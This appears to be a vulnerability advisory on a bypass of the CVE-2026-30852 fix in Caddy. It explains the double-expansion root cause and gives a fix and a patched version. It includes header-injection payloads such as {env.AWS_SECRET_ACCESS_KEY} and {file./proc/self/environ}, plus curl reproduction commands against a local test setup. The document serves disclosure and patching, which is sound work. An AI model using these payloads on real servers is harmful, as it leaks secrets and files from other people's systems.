Remote command execution In github.com/caddyserver/caddy/v2
Description
Caddy CVE-2026-30852 Fix Bypass
TL;DR
CVE-2026-30852 fixed double expansion in vars_regexp when the variable key is a placeholder (e.g. {http.vars.x}). The fix does NOT protect literal key names (e.g. tenant_id). An attacker injects {env.AWS_SECRET_ACCESS_KEY} or {file./etc/passwd} via a request header → Caddy expands it on the second pass → secrets leaked in response headers.
Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.
Root Cause
modules/caddyhttp/vars.go, lines 215-217:
valExpanded = varStr if !fromPlaceholder { valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION }
Same issue at line 358-360 in MatchVarsRE.
fromPlaceholder is false when the variable key is a literal string (not wrapped in {}). The fix only protects fromPlaceholder=true.
Expansion chain:
Config: vars tenant_id {http.request.header.X-Tenant-ID}
Request header: X-Tenant-ID: {env.SECRET}
Pass 1 (VarsMiddleware.ServeHTTP, line 63): repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "") → resolves to literal string {env.SECRET}. Stored in vars map.
Pass 2 (VarsMatcher.MatchWithError, line 217): repl.ReplaceAll("{env.SECRET}", "") → resolves to the actual secret value.
Leaked value reflected in response header X-Tenant-ID or forwarded to backend via reverse_proxy.
Impact
Environment variable disclosure: {env.AWS_SECRET_ACCESS_KEY}, {env.DATABASE_URL}, etc.
Arbitrary file read (up to 1MB): {file./etc/passwd}, {file./proc/self/environ}
System info: {system.hostname}, {system.os}
Full env dump in one request: {file./proc/self/environ}
Realistic Attack Scenario
API gateway pattern - Caddy captures a tenant ID header, validates it with vars_regexp, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.
# Caddyfile :8080 { vars tenant_id {http.request.header.X-Tenant-ID} @has_tenant vars_regexp tenant tenant_id (.+) handle @has_tenant { header X-Tenant-ID "{re.tenant.1}" reverse_proxy tenant-backend:8080 }...
# docker-compose.yml services: caddy: image: caddy:2.11.2 ports: - "8080:8080" volumes: - ./Caddyfile:/etc/caddy/Caddyfile:ro...
Attacker sends: X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}
Response contains: X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Reproduce
docker compose up -d sleep 2 # Normal request — works as expected curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant # Leak env var via response header curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant...
Confirmed Test Output (Caddy v2.11.2)
$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: acme-corp X-Routed-To: tenant-acme-corp $ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345 ...
Fix
Apply expansion guard to BOTH branches:
// vars.go line 215-217 — fix: valExpanded = varStr // REMOVE: if !fromPlaceholder { // valExpanded = repl.ReplaceAll(varStr, "") // }
Or sanitize vars stored from user input before re-expansion.
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
go | 2.11.3 |
Aliases
References